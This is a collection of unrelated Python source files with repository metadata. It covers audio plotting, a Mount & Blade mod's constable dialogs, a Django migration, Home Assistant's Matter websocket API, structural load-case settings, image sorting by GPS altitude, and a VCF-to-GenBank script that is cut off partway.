Python

false

480

py

import matplotlib.pyplot as plt import numpy as np import wave import sys import os os.chdir('../../../../Desktop/Pokemon Cries') spf = wave.open("recorded/output.wav", "r") # Extract Raw Audio from Wav File signal = spf.readframes(-1) signal = np.fromstring(signal, "Int16") #If Stereo if spf.getnchannels() == 2: print("Just mono files") sys.exit(0) plt.figure(1) plt.title("Signal Wave...") plt.plot(signal) plt.savefig('recorded/test.png') plt.close() ##plt.show()

[ "adammcwilliam@gmail.com" ]

adammcwilliam@gmail.com

4a1f7961b91d92251e807585abeea41d73bea4c2

2ac6bb889569759829cc5a2ee9bbb7affdb0bd55

/source/constable/__init__.py

24b8e7ddd5a3e428eda09f9c0ecfb6073b59cc76

[]

no_license

gdwitt/BrytenwaldaReworkedOpenProject

434a41d485410c5f8158191aeb0beca4a20ff807

41d362b55c643ca74e594151c76095f3bbe938fd

refs/heads/master

2021-08-27T19:40:42.643671

2017-05-29T05:01:51

66,900,952

0

null

2017-05-29T20:17:51

2016-08-30T02:56:15

Python

UTF-8

Python

false

18,217

py

from source.header_operations import * from source.header_common import * from source.header_dialogs import * from source.header_items import ek_body, ek_foot from source.header_troops import tf_hero, tf_male, knight_attrib_4, wp from source.header_skills import * from source.module_constants import * from source.statement import StatementBlock import patrols import scouts import recruit import train import move_troops import reports import release_prisoner WEEKLY_COST_OF_CONSTABLE = 15 simple_triggers = [ (2, [ (assign, ":has_walled_center", 0), (try_for_range, ":center_no", centers_begin, centers_end), (party_get_slot, ":lord_troop_id", ":center_no", "slot_town_lord"), (eq, ":lord_troop_id", "trp_player"), (is_between, ":center_no", walled_centers_begin, walled_centers_end), (assign, ":has_walled_center", 1), (assign, ":center_no", centers_end), (try_end), # todo: confirm that this somehow does not leave traces of the constable. (e.g. trainer, recruiter) (try_begin), (eq, ":has_walled_center", 0), (neq, "$g_player_constable", 0), (assign, "$g_player_constable", 0), (try_end), ]), ] \ + recruit.simple_triggers \ + scouts.simple_triggers \ + train.simple_triggers \ triggers = [ # create notification to appoint constable (24, 0, 24 * 13, [], [ (assign, ":has_fief", 0), (try_for_range, ":center_no", walled_centers_begin, walled_centers_end), (party_get_slot, ":lord_troop_id", ":center_no", "slot_town_lord"), (eq, ":lord_troop_id", "trp_player"), (assign, ":has_fief", 1), (try_end), (eq, ":has_fief", 1), (try_begin), (eq, "$cheat_mode", 1), (assign, reg0, "$g_player_constable"), (display_message, "@{!}DEBUG : constable: {reg0}"), (try_end), (assign, ":notification", 0), (try_begin), (eq, "$g_player_constable", 0), (assign, ":notification", 1), (else_try), (neq, "$g_player_constable", -1), (neq, "$g_player_constable", "trp_dplmc_constable"), (assign, ":notification", 1), (try_end), (try_begin), (eq, ":notification", 1), (call_script, "script_add_notification_menu", "mnu_dplmc_notification_appoint_constable", 0, 0), (try_end), ]), ] menus = [ ("dplmc_notification_appoint_constable", 0, "As a lord of a fief you can now appoint a constable who resides at you court " "for a weekly salary of %d scillingas. He will recruit new troops and provide " "information about your army." % WEEKLY_COST_OF_CONSTABLE, "none", [], [ ("dplmc_appoint_default", [], "Appoint a prominent nobleman from the area.", [ (call_script, "script_dplmc_appoint_constable"), (jump_to_menu, "mnu_dplmc_constable_confirm"), ]), ("dplmc_continue", [], "Proceed without constable.", [ (assign, "$g_player_constable", -1), (assign, "$g_constable_training_center", -1), (change_screen_return), ]), ]), ("dplmc_constable_confirm", 0, "Your constable can be found at your court. You should consult him if you " "want to recruit new troops or get detailed information about your standing army.", "none", [], [ ("dplmc_continue", [], "Continue...", [ (change_screen_return), ]), ]), ] \ + scouts.menus # this block is added to the enter_court script to add the constable to the scene. court_visitor = StatementBlock( (try_begin), (gt, "$g_player_constable", 0), # todo: this is wrong: appoint constable should not be here (call_script, "script_dplmc_appoint_constable"), #fix for wrong troops after update (party_get_slot, ":town_lord", ":center_no", "slot_town_lord"), (eq, ":town_lord", "trp_player"), (set_visitor, ":cur_pos", "$g_player_constable"), (val_add, ":cur_pos", 1), (try_end), ) consequences_give_center = StatementBlock( (try_begin), (eq, "$g_constable_training_center", ":center_no"), (assign, "$g_constable_training_center", -1), (try_end), ) consequences_staff_salary = StatementBlock( (try_begin), (gt, "$g_player_constable", 0), (val_add, ":staff_salary", WEEKLY_COST_OF_CONSTABLE), (try_end), ) scripts = [ ("dplmc_appoint_constable", [ (troop_set_inventory_slot, "trp_dplmc_constable", ek_body, "itm_dplmc_coat_of_plates_red_constable"), (troop_set_inventory_slot, "trp_dplmc_constable", ek_foot, "itm_leather_boots1"), (assign, "$g_player_constable", "trp_dplmc_constable"), ]), ] \ + recruit.scripts \ + scouts.scripts \ + move_troops.scripts \ # entry point to appoint constable appoint_dialog_option = \ [anyone|plyr, "dplmc_talk_staff", [ (le, "$g_player_constable", 0), (assign, ":has_fief", 0), (try_for_range, ":center_no", walled_centers_begin, walled_centers_end), (party_get_slot, ":lord_troop_id", ":center_no", "slot_town_lord"), (eq, ":lord_troop_id", "trp_player"), (assign, ":has_fief", 1), (try_end), (eq, ":has_fief", 1), ], "I want to appoint a constable.", "dplmc_talk_appoint_constable", [] ] dialogs = [ # Appoint constable [anyone, "dplmc_talk_appoint_constable", [ (troop_slot_ge, "trp_dplmc_constable", "slot_troop_met", 1), ], "I assume you will want to rehire your former constable? " "His rate is still %d scillingas each week, and the appointment " "will cost us 20 scillingas." % WEEKLY_COST_OF_CONSTABLE, "dplmc_talk_appoint_constable_confirm", [] ], [anyone, "dplmc_talk_appoint_constable", [ (is_between, "$g_talk_troop", companions_begin, companions_end), ], "I have heard good things about a local nobleman, and I believe " "he would be well-suited for the job. He demands %d scillingas " "each week, though. The appointment will cost us 20 scillingas." % WEEKLY_COST_OF_CONSTABLE, "dplmc_talk_appoint_constable_confirm", [] ], [anyone, "dplmc_talk_appoint_constable", [], "That's a wise idea. May I suggest a very capable nobleman and friend of my " "family? He demands %d scillingas each week, though. The appointment will " "cost us 20 scillingas." % WEEKLY_COST_OF_CONSTABLE, "dplmc_talk_appoint_constable_confirm", [] ], [anyone | plyr, "dplmc_talk_appoint_constable_confirm", [ (store_troop_gold, ":gold", "trp_player"), (ge, ":gold", 20), ], "So be it.", "dplmc_talk_appoint_confirm_yes", [ (call_script, "script_dplmc_appoint_constable"), (troop_remove_gold, "trp_player", 20), ]], [anyone | plyr, "dplmc_talk_appoint_constable_confirm", [ (troop_get_slot, ":player_spouse", "trp_player", "slot_troop_spouse"), (eq, "$g_talk_troop", ":player_spouse"), ], "Maybe later.", "spouse_pretalk", [] ], [anyone | plyr, "dplmc_talk_appoint_constable_confirm", [ (eq, "$g_talk_troop", "$g_player_minister"), (troop_get_slot, ":player_spouse", "trp_player", "slot_troop_spouse"), (neq, ":player_spouse", "$g_player_minister"), ], "Maybe later.", "minister_pretalk", [] ], [anyone, "dplmc_talk_appoint_confirm_yes", [ (troop_get_slot, ":player_spouse", "trp_player", "slot_troop_spouse"), (eq, "$g_talk_troop", ":player_spouse"), ], "I will send him a letter he should arrive at the court soon.", "spouse_pretalk", [] ], [anyone, "dplmc_talk_appoint_confirm_yes", [ (eq, "$g_talk_troop", "$g_player_minister"), ], "I will send him a letter he should arrive at the court soon.", "minister_pretalk", [] ], # Constable actions [anyone, "start", [ (eq, "$g_player_constable", "$g_talk_troop"), ], "Always at your service!", "dplmc_constable_talk", [] ], [anyone, "dplmc_constable_pretalk", [], "Do you need anything else, Sire?", "dplmc_constable_talk", [] ], # faith report [anyone | plyr, "dplmc_constable_talk", [], "I want a report on the kingdom's faith.", "dplmc_constable_faith", []], [anyone, "dplmc_constable_faith", [ (assign, reg13, "$g_sod_global_faith"), ], "Due to reports from our kingdom we managed to convert {reg13} people to our faith.", "dplmc_constable_faith1", [] ], [anyone | plyr, "dplmc_constable_faith1", [], "It could always be better...", "dplmc_constable_pretalk", [] ], # ask about war [anyone | plyr, "dplmc_constable_talk", [], "How goes the war?", "dplmc_constable_talk_ask_war",[]], [anyone, "dplmc_constable_talk_ask_war", [], "{s12}", "dplmc_constable_talk_ask_war_2", [ (assign, ":num_enemies", 0), (try_for_range_backwards, ":cur_faction", kingdoms_begin, kingdoms_end), (faction_slot_eq, ":cur_faction", "slot_faction_state", sfs_active), (store_relation, ":cur_relation", ":cur_faction", "fac_player_supporters_faction"), (lt, ":cur_relation", 0), (try_begin), (eq, ":num_enemies", 0), (str_store_faction_name_link, s12, ":cur_faction"), (else_try), (eq, ":num_enemies", 1), (str_store_faction_name_link, s11, ":cur_faction"), (str_store_string, s12, "@{s11} and {s12}"), (else_try), (str_store_faction_name_link, s11, ":cur_faction"), (str_store_string, s12, "@{!}{s11}, {s12}"), (try_end), (val_add, ":num_enemies", 1), (try_end), (try_begin), (eq, ":num_enemies", 0), (str_store_string, s12, "@We are not at war with anyone."), (else_try), (str_store_string, s12, "@We are at war with {s12}."), (try_end), ]], [anyone | plyr | repeat_for_factions, "dplmc_constable_talk_ask_war_2", [ (store_repeat_object, ":faction_no"), (is_between, ":faction_no", kingdoms_begin, kingdoms_end), (faction_slot_eq, ":faction_no", "slot_faction_state", sfs_active), (store_relation, ":cur_relation", ":faction_no", "fac_player_supporters_faction"), (lt, ":cur_relation", 0), (str_store_faction_name, s1, ":faction_no") ], "Tell me more about the war with {s1}.", "dplmc_constable_talk_ask_war_details", [ (store_repeat_object, "$faction_requested_to_learn_more_details_about_the_war_against") ]], [anyone | plyr, "dplmc_constable_talk_ask_war_2", [], "That's all I wanted to know. Thank you.", "dplmc_constable_pretalk",[]], [anyone, "dplmc_constable_talk_ask_war_details", [], "{!}{s9}.", "dplmc_constable_talk_ask_war_2", [ (store_add, ":war_damage_slot", "$faction_requested_to_learn_more_details_about_the_war_against", "slot_faction_war_damage_inflicted_on_factions_begin"), (val_sub, ":war_damage_slot", kingdoms_begin), (faction_get_slot, ":war_damage_inflicted", "$players_kingdom", ":war_damage_slot"), #Floris 2.52 - Diplo bugfix was "fac_player_supporters_faction" (store_add, ":war_damage_slot", "$players_kingdom", "slot_faction_war_damage_inflicted_on_factions_begin"), #Floris 2.52 - Diplo bugfix was "fac_player_supporters_faction" (val_sub, ":war_damage_slot", kingdoms_begin), (faction_get_slot, ":war_damage_suffered", "$faction_requested_to_learn_more_details_about_the_war_against", ":war_damage_slot"), (val_max, ":war_damage_suffered", 1), (store_mul, ":war_damage_ratio", ":war_damage_inflicted", 100), (val_div, ":war_damage_ratio", ":war_damage_suffered"), (try_begin), (eq, "$cheat_mode", 1), (assign, reg3, ":war_damage_inflicted"), (assign, reg4, ":war_damage_suffered"), (assign, reg5, ":war_damage_ratio"), (display_message, "str_war_damage_inflicted_reg3_suffered_reg4_ratio_reg5"), (try_end), (str_store_string, s9, "str_error__did_not_calculate_war_progress_string_properly"), (try_begin), (lt, ":war_damage_inflicted", 5), (str_store_string, s9, "str_the_war_has_barely_begun_so_and_it_is_too_early_to_say_who_is_winning_and_who_is_losing"), (else_try), (gt, ":war_damage_inflicted", 100), (gt, ":war_damage_ratio", 200), (str_store_string, s9, "str_we_have_been_hitting_them_very_hard_and_giving_them_little_chance_to_recover"), (else_try), (gt, ":war_damage_inflicted", 80), (gt, ":war_damage_ratio", 150), (str_store_string, s9, "str_the_fighting_has_been_hard_but_we_have_definitely_been_getting_the_better_of_them"), (else_try), (gt, ":war_damage_suffered", 100), (lt, ":war_damage_ratio", 50), (str_store_string, s9, "str_they_have_been_hitting_us_very_hard_and_causing_great_suffering"), (else_try), (gt, ":war_damage_suffered", 80), (lt, ":war_damage_ratio", 68), (str_store_string, s9, "str_the_fighting_has_been_hard_and_i_am_afraid_that_we_have_been_having_the_worst_of_it"), (else_try), (gt, ":war_damage_suffered", 50), (gt, ":war_damage_inflicted", 50), (gt, ":war_damage_ratio", 65), (str_store_string, s9, "str_both_sides_have_suffered_in_the_fighting"), (else_try), (gt, ":war_damage_ratio", 125), (str_store_string, s9, "str_no_clear_winner_has_yet_emerged_in_the_fighting_but_i_think_we_are_getting_the_better_of_them"), (else_try), (gt, ":war_damage_ratio", 80), (str_store_string, s9, "str_no_clear_winner_has_yet_emerged_in_the_fighting_but_i_fear_they_may_be_getting_the_better_of_us"), (else_try), (str_store_string, s9, "str_no_clear_winner_has_yet_emerged_in_the_fighting"), (try_end), (try_begin), #(neg|faction_slot_eq, "fac_player_supporters_faction", "slot_faction_leader", "$g_talk_troop"), (call_script, "script_npc_decision_checklist_peace_or_war", "$players_kingdom", "$faction_requested_to_learn_more_details_about_the_war_against", -1), (str_store_string, s9, "str_s9_s14"), (try_end), ]], scouts.dialog_option, release_prisoner.dialog_option, # report [anyone | plyr, "dplmc_constable_talk", [], "I want a report.", "dplmc_constable_reports_ask", [] ], [anyone, "dplmc_constable_reports_ask", [], "About what do you want to have a report?", "dplmc_constable_reports", [] ], reports.kingdom_option, reports.army_option, reports.lord_convoy_option, reports.garrison_option, [anyone | plyr, "dplmc_constable_reports", [], "Thank you, that's all for now.", "dplmc_constable_pretalk", [] ], # recruit and train [anyone | plyr, "dplmc_constable_talk", [], "Let's talk about recruits and training.", "dplmc_constable_recruits_and_training_ask", [] ], [anyone, "dplmc_constable_recruits_and_training_ask", [], "Of course.", "dplmc_constable_recruits_and_training", [] ], recruit.dialog_option, train.dialog_option, [anyone | plyr, "dplmc_constable_recruits_and_training", [], "Nevermind", "dplmc_constable_pretalk", [] ], # patrols and troop movement [anyone | plyr, "dplmc_constable_talk", [], "Let's talk about patrols and troop movement.", "dplmc_constable_security_ask", [] ], [anyone, "dplmc_constable_security_ask", [], "Of course.", "dplmc_constable_security", [] ], move_troops.dialog_option, patrols.create_option, patrols.return_to_center_option, patrols.change_target_option, patrols.disband_option, [anyone | plyr, "dplmc_constable_security", [], "Nevermind.", "dplmc_constable_pretalk", [] ], # sell prisoners [anyone | plyr, "dplmc_constable_talk", [ (store_num_regular_prisoners, reg0), (ge, reg0, 1) ], "I have some prisoners can you sell them for me?", "dplmc_constable_prisoner", [] ], [anyone, "dplmc_constable_prisoner", [], "Of course, Sire", "dplmc_constable_pretalk", [ (change_screen_trade_prisoners) ]], # dismiss constable [anyone | plyr, "dplmc_constable_talk", [], "You are dismissed.", "dplmc_constable_dismiss_confirm_ask", [] ], [anyone, "dplmc_constable_dismiss_confirm_ask", [], "Are you sure that you don't need me anymore?", "dplmc_constable_dismiss_confirm", [] ], [anyone | plyr, "dplmc_constable_dismiss_confirm", [], "Yes I am.", "dplmc_constable_dismiss_confirm_yes", [] ], [anyone, "dplmc_constable_dismiss_confirm_yes", [], "As you wish.", "close_window", [ (assign, "$g_player_constable", -1), (assign, "$g_constable_training_center", -1), ]], [anyone | plyr, "dplmc_constable_dismiss_confirm", [], "No I am not.", "dplmc_constable_pretalk", [] ], [anyone | plyr, "dplmc_constable_talk", [], "Thank you, I will come back to you later.", "close_window", [] ], ] \ + patrols.dialogs \ + scouts.dialogs \ + recruit.dialogs \ + train.dialogs \ + move_troops.dialogs \ + reports.dialogs \ + release_prisoner.dialogs \ troops = [ ["dplmc_constable", "Constable Sextus", "Constables", tf_hero|tf_male, 0, 0, 'fac_commoners', ['itm_mailbyrniegreen', 'itm_ankleboots'], knight_attrib_4, wp(200), knows_common|knows_trainer_9|knows_shield_3|knows_ironflesh_3|knows_power_strike_4|knows_athletics_4, 0x0000000b4b1015054b1b4d591cba28d300000000001e472b0000000000000000] ] \ + scouts.troops \ + recruit.troops \ party_templates = scouts.party_templates \ + recruit.party_templates

[ "gdwitt@gmail.com" ]

gdwitt@gmail.com

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849971a1afda0757ddfaa02361d5b4eedc4833b0

/project/shortener/migrations/0004_auto_20201103_0819.py

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[]

no_license

mahdibohloul/UrlShortenerAPIHandler

74c7549f9309e1f59002428a4a508d694191c152

9d12ad3f9d0197de577dc5edb59fdf7785f33874

refs/heads/main

2023-01-10T06:55:20.698789

2020-11-03T13:29:40

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# Generated by Django 3.1.2 on 2020-11-03 08:19 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shortener', '0003_auto_20201102_1145'), ] operations = [ migrations.AlterField( model_name='urls', name='init_url', field=models.URLField(), ), migrations.AlterField( model_name='urls', name='short_url', field=models.URLField(), ), ]

[ "mahdi_bohloul@yahoo.com" ]

mahdi_bohloul@yahoo.com

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296132d2c5d95440b3ce5f4401078a6d0f736f5a

/homeassistant/components/matter/api.py

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[ "Apache-2.0" ]

permissive

mezz64/home-assistant

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997d4fbe5308b01d14ceabcfe089c2bc511473dd

refs/heads/dev

2023-03-16T22:31:52.499528

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"""Handle websocket api for Matter.""" from __future__ import annotations from collections.abc import Callable from functools import wraps from typing import Any from matter_server.client.exceptions import FailedCommand import voluptuous as vol from homeassistant.components import websocket_api from homeassistant.components.websocket_api import ActiveConnection from homeassistant.core import HomeAssistant, callback from .adapter import MatterAdapter from .const import DOMAIN ID = "id" TYPE = "type" @callback def async_register_api(hass: HomeAssistant) -> None: """Register all of our api endpoints.""" websocket_api.async_register_command(hass, websocket_commission) websocket_api.async_register_command(hass, websocket_commission_on_network) websocket_api.async_register_command(hass, websocket_set_thread_dataset) websocket_api.async_register_command(hass, websocket_set_wifi_credentials) def async_get_matter_adapter(func: Callable) -> Callable: """Decorate function to get the MatterAdapter.""" @wraps(func) async def _get_matter( hass: HomeAssistant, connection: ActiveConnection, msg: dict ) -> None: """Provide the Matter client to the function.""" matter: MatterAdapter = next(iter(hass.data[DOMAIN].values())) await func(hass, connection, msg, matter) return _get_matter def async_handle_failed_command(func: Callable) -> Callable: """Decorate function to handle FailedCommand and send relevant error.""" @wraps(func) async def async_handle_failed_command_func( hass: HomeAssistant, connection: ActiveConnection, msg: dict[str, Any], *args: Any, **kwargs: Any, ) -> None: """Handle FailedCommand within function and send relevant error.""" try: await func(hass, connection, msg, *args, **kwargs) except FailedCommand as err: connection.send_error(msg[ID], err.error_code, err.args[0]) return async_handle_failed_command_func @websocket_api.require_admin @websocket_api.websocket_command( { vol.Required(TYPE): "matter/commission", vol.Required("code"): str, } ) @websocket_api.async_response @async_handle_failed_command @async_get_matter_adapter async def websocket_commission( hass: HomeAssistant, connection: ActiveConnection, msg: dict[str, Any], matter: MatterAdapter, ) -> None: """Add a device to the network and commission the device.""" await matter.matter_client.commission_with_code(msg["code"]) connection.send_result(msg[ID]) @websocket_api.require_admin @websocket_api.websocket_command( { vol.Required(TYPE): "matter/commission_on_network", vol.Required("pin"): int, } ) @websocket_api.async_response @async_handle_failed_command @async_get_matter_adapter async def websocket_commission_on_network( hass: HomeAssistant, connection: ActiveConnection, msg: dict[str, Any], matter: MatterAdapter, ) -> None: """Commission a device already on the network.""" await matter.matter_client.commission_on_network(msg["pin"]) connection.send_result(msg[ID]) @websocket_api.require_admin @websocket_api.websocket_command( { vol.Required(TYPE): "matter/set_thread", vol.Required("thread_operation_dataset"): str, } ) @websocket_api.async_response @async_handle_failed_command @async_get_matter_adapter async def websocket_set_thread_dataset( hass: HomeAssistant, connection: ActiveConnection, msg: dict[str, Any], matter: MatterAdapter, ) -> None: """Set thread dataset.""" await matter.matter_client.set_thread_operational_dataset( msg["thread_operation_dataset"] ) connection.send_result(msg[ID]) @websocket_api.require_admin @websocket_api.websocket_command( { vol.Required(TYPE): "matter/set_wifi_credentials", vol.Required("network_name"): str, vol.Required("password"): str, } ) @websocket_api.async_response @async_handle_failed_command @async_get_matter_adapter async def websocket_set_wifi_credentials( hass: HomeAssistant, connection: ActiveConnection, msg: dict[str, Any], matter: MatterAdapter, ) -> None: """Set WiFi credentials for a device.""" await matter.matter_client.set_wifi_credentials( ssid=msg["network_name"], credentials=msg["password"] ) connection.send_result(msg[ID])

[ "noreply@github.com" ]

noreply@github.com

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/ps_bole_calculs_statiques/xc_model_impact/loadStateData.py

69e20459fe07531c2303bcc316ffa946b24e867d

[]

no_license

berndhahnebach/XCmodels

a6500fdde253dea10ef2bb64b7ebc3dbfc2577c2

4acdd7747abd7cd71f5ef580f65e93359560e5a9

refs/heads/master

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2018-10-26T17:52:35

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# -*- coding: utf-8 -*- '''In this script we define default data of load cases to be used (or changed) while displaying loads or results associated to single load cases ''' from postprocess.reports import graphical_reports ''' Definition of record objects with these attributes: loadCaseName: name of the load case to be depicted loadCaseDescr: description text of the load case loadCaseExpr: mathematical expression to define the load case (ex: '1.0*GselfWeight+1.0*DeadLoad') setsToDispLoads: ordered list of sets of elements to display loads setsToDispBeamLoads: ordered list of sets of beam elements to display loads (defaults to []) compElLoad: component of load on beam elements to be represented available components: 'axialComponent', 'transComponent', 'transYComponent','transZComponent' unitsScaleLoads: factor to apply to loads if we want to change the units (defaults to 1). unitsLoads: text to especify the units in which loads are represented (defaults to 'units:[m,kN]') vectorScaleLoads: factor to apply to the vectors length in the representation of loads (defaults to 1 -> auto-scale). vectorScalePointLoads: factor to apply to the vectors length in the representation of nodal loads (defaults to 1). multByElemAreaLoads: boolean value that must be True if we want to represent the total load on each element (=load multiplied by element area) and False if we are going to depict the value of the uniform load per unit area (defaults to False) listDspRot: ordered list of displacement or rotations to be displayed available components: 'uX', 'uY', 'uZ', 'rotX', rotY', 'rotZ' (defaults to ['uX', 'uY', 'uZ']) setsToDispDspRot: ordered list of sets of elements to display displacements or rotations unitsScaleDispl: factor to apply to displacements if we want to change the units (defaults to 1). unitsDispl: text to especify the units in which displacements are represented (defaults to '[m]' listIntForc: ordered list of internal forces to be displayed as scalar field over «shell» elements available components: 'N1', 'N2', 'M1', 'M2', 'Q1', 'Q2' (defaults to ['N1', 'N2', 'M1', 'M2', 'Q1', 'Q2']) setsToDispIntForc: ordered list of sets of elements (of type «shell»)to display internal forces listBeamIntForc: ordered list of internal forces to be displayed as diagrams on lines for «beam» elements available components: 'N', 'My', 'Mz', 'Qy', 'Qz','T' (defaults to ['N', 'My', 'Mz', 'Qy', 'Qz','T']) setsToDispBeamIntForc: ordered list of sets of elements (of type «beam»)to display internal forces (defaults to []) scaleDispBeamIntForc: tuple (escN,escQ,escM) correponding to the scales to apply to displays of, respectively, N Q and M beam internal forces (defaults to (1.0,1.0,1.0)) unitsScaleForc: factor to apply to internal forces if we want to change the units (defaults to 1). unitsForc: text to especify the units in which forces are represented (defaults to '[kN/m]') unitsScaleMom: factor to apply to internal moments if we want to change the units (defaults to 1). unitsMom: text to especify the units in which bending moments are represented (defaults to '[kN.m/m]') viewName: name of the view that contains the renderer (available standard views: "XYZPos", "XYZNeg", "XPos", "XNeg","YPos", "YNeg", "ZPos", "ZNeg", "+X+Y+Z", "+X+Y-Z", "+X-Y+Z", "+X-Y-Z", "-X+Y+Z", "-X+Y-Z", "-X-Y+Z", "-X-Y-Z") (defaults to "XYZPos") hCamFct: factor that applies to the height of the camera position in order to change perspective of isometric views (defaults to 1, usual values 0.1 to 10) viewNameBeams: name of the view for beam elements displays (defaults to "XYZPos") hCamFctBeams: factor that applies to the height of the camera position for beam displays (defaults to 1) ''' A1=graphical_reports.RecordLoadCaseDisp(loadCaseName='A1',loadCaseDescr='A1: impact on parapet head',loadCaseExpr='1.0*A1',setsToDispLoads=[totalSet],setsToDispDspRot=[shells],setsToDispIntForc=[totalSet]) A1.unitsScaleLoads= 1e-3 A1.unitsScaleForc= 1e-3 A1.unitsScaleMom= 1e-3 A1.unitsScaleDispl= 1e3 A1.viewName= "-X+Y+Z" A1.unitsDispl='[mm]' A2=graphical_reports.RecordLoadCaseDisp(loadCaseName='A2',loadCaseDescr='A2: impact on parapet body',loadCaseExpr='1.0*A2',setsToDispLoads=[totalSet],setsToDispDspRot=[shells],setsToDispIntForc=[totalSet]) A2.unitsScaleLoads= 1e-3 A2.unitsScaleForc= 1e-3 A2.unitsScaleMom= 1e-3 A2.unitsScaleDispl= 1e3 A2.viewName= "-X+Y+Z" A2.unitsDispl='[mm]'

[ "ana.Ortega.Ort@gmail.com" ]

ana.Ortega.Ort@gmail.com

5bed36efedd9b5290786cb93423213be9d9e8ebf

30d7952013d8bc1fc798813e819de83276229fca

/altitudeOrganize_V2.py

ebf16f520338735aa84d65a3486ac94be6f74050

[]

no_license

ChrisZarzar/uas-boundary-layer

2d0ed6d63d1b7e7d741fd8909adb4bd72de9a99a

805b87e2d769872bee952d9dee6697ad14425800

refs/heads/master

2020-05-17T10:13:24.927928

2019-04-26T15:30:50

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""" Purpose: Purpose: This script will create a textfile list of the altitude information extracted from images in a directory. """ __version__ = "$Revision: 2.0 $"[11:-2] __date__ = "$Date: 2017/05/30 12:09:47 $"[7:-2] __author__ = "Chris Zarzar <chriszarzar@gmail.com>" """ Author: Chris Zarzar Purpose: This script will extract gps information from the North Farm Experiment Canon DSLR camera and will copy the images into folders depending on their GPS information Requirements: 1. Python Image Library (PIL) 2. ExifRead 3. imageinfo a. gpsExtract ______________________________________________________________________________ #### HISTORY #### 21-jun-2016 [Chris Zarzar]: Created 30-may-2017 [Chris Zarzar]: Edited; Adjusted to make more intuative by creating necessary directories and searching. ______________________________________________________________________________ """ from imageinfo import gpsExtract import os import shutil imageDir = "C:\\Users\\chris\\OneDrive\\Desktop\\Research\\NorthFarm_Experiment\\canon" #create required directories orgDir = imageDir + "/canonOrganized" if not os.path.exists(orgDir): os.makedirs(orgDir) altVector = (30,100,200,300,400,500,600,700,800) for x in altVector: if not os.path.exists(orgDir+"/"+str(x)): os.makedirs(orgDir+"/"+str(x)) try: # Loop through the image directory and extract metadata information from each image. for dirName, subdirList, fileList in os.walk(imageDir): for fname in fileList: if fname.endswith('.jpg') or fname.endswith('.JPG'): print "Extracting GPS information from %s" % fname fpath = dirName+"\\"+fname gpsInfo = gpsExtract.gpsInfo gpsOut = gpsInfo(fpath) if 6<= (gpsOut[2]- 87.2) <=12: outDir = orgDir+"/30" shutil.copy2(fpath, outDir) elif 27<= (gpsOut[2]- 87.2) <=33: outDir = orgDir+"/100" shutil.copy2(fpath, outDir) elif 57<= (gpsOut[2]- 87.2) <=63: outDir = orgDir+"/200" shutil.copy2(fpath, outDir) elif 88<= (gpsOut[2]- 87.2) <=94: outDir = orgDir+"/300" shutil.copy2(fpath, outDir) elif 118<= (gpsOut[2]- 87.2) <=123: outDir = orgDir+"/400" shutil.copy2(fpath, outDir) elif 149<= (gpsOut[2]- 87.2) <=155: outDir = orgDir+"/500" shutil.copy2(fpath, outDir) elif 179<= (gpsOut[2]- 87.2) <=185: outDir = orgDir+"/600" shutil.copy2(fpath, outDir) elif 210<= (gpsOut[2]- 87.2) <=216: outDir = orgDir+"/700" shutil.copy2(fpath, outDir) elif 240<= (gpsOut[2]- 87.2) <=246: outDir = orgDir+"/800" shutil.copy2(fpath, outDir) except: pass print "Processing complete" ##END##

[ "cmzarzar@gmail.com" ]

cmzarzar@gmail.com

2e35a7f0f323931f6f815ef376f0ecbb345c6106

19acbc03360d373071a4ddb74855b7087e074089

/contents/vcf_to_genbank.py

b19dd134ec896769bf2ddcb7d0b86bd81b84afd8

[]

no_license

glebkuznetsov/recoli_c321d_genome_annotation

5452d5418e52374c429ac974150f5d0e27e11a93

25f3caba9d62f7741cebcdbb3eeefd831f703f2b

refs/heads/master

2021-05-28T01:11:27.200718

2014-12-01T06:13:00

null

0

null

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Python

false

51,947

py

""" Methods for impressing the changes in a VCF file onto an existing Genbank file. NOTES: * Look into insertion annotations being 1 off (specifically galk insertion at SIR.30.31i * Annotation of deletion d_mg1655_66564_66733 partial deletion of repeat region 66564 66733 seems to be one off. """ import copy import csv import os import pickle from Bio import SeqIO from Bio.SeqFeature import FeatureLocation from Bio.SeqFeature import SeqFeature from Bio.SeqRecord import SeqRecord import vcf from biopython_util import add_feature_to_seq_record from biopython_util import delete_interval from biopython_util import insert_sequence_and_update_features from refactor_config import GENOMES_DIR ############################################################################### # File locations ############################################################################### REC1_C321D_ROOT = os.path.join(GENOMES_DIR, 'rec1_c321d') ############################################################################### # Constants ############################################################################### VARIANT_ANNOTATION_TYPE = 'variation' MAX_REPLACE_CHARS = 12 ############################################################################### # Helper objects used by the main procedure ############################################################################### class RuntimeLiftover(object): """Object that aids in dynamically updating a genome record with a list of positions that are relative to the original genome record. An example of a case where this is useful is when you are creating a mapping from a vcf record which shows SNPs and other variants relative to a reference genome. For example, say you have two insertions: * A - position: 100, size: 3 * B - position: 200, size: 4 When we introduce the first insertion, the frame of the underlying genome has shifted, so that the second insertion should really be added at position 200 + 3. """ def __init__(self, original_genome_record): """Constructor. """ # The original record. This remains unchanged throughout the # mapping process. # TODO: Do we even need to be keeping track of this? Or are intervals # sufficient? self.source_genome_record = original_genome_record # Structure that maintains the mapping of intervals. # Let's say we guarantee that it's sorted and exclusive, for now. # NOTE: Each interval maintains a one-to-one mapping and so is # inclusive bounds on both ends. self._interval_mapping = self._initialize_interval_mapping() def _initialize_interval_mapping(self): """Initializes the interval mapping. """ # The initial mapping is a list with a single element, which is # a pair of tuples representing the correspondence between the original # whole sequence interval and a copy of itself. original_interval = (0, len(self.source_genome_record) - 1) initial_mapping_pair = (original_interval, copy.copy(original_interval)) return [initial_mapping_pair] @classmethod def from_pickled_intervals(cls, original_genome_record, pickle_dest): """Factory method that creates a RuntimeLiftover object and sets the intervals from a pickle file. The original genome record still has to be provided. """ runtime_liftover = cls(original_genome_record) with open(pickle_dest) as pickle_fh: runtime_liftover._interval_mapping = pickle.load(pickle_fh) return runtime_liftover def pickle_interval_mapping(self, pickle_dest): """Pickle the interval mapping and write to file. This is useful for debugging intervals and developing other output formats. """ with open(pickle_dest, 'w') as pickle_fh: pickle.dump(self._interval_mapping, pickle_fh) def write_chain_file(self, chain_file_dest): """Writes the current state of _interval_mapping in the UCSC liftover chain file format. See: http://genome.ucsc.edu/goldenPath/help/chain.html """ with open(chain_file_dest, 'w') as chain_file_fh: # Write the heading. chain_file_fh.write('chain\n') # Each row is of the form 'size dt dq', separated by spaces. # * size: the size of the ungapped alignment # * dt: the difference between the end of this block and the # beginning of the next block (reference sequence) # * dq: the difference between the end of this block and the # beginning of the 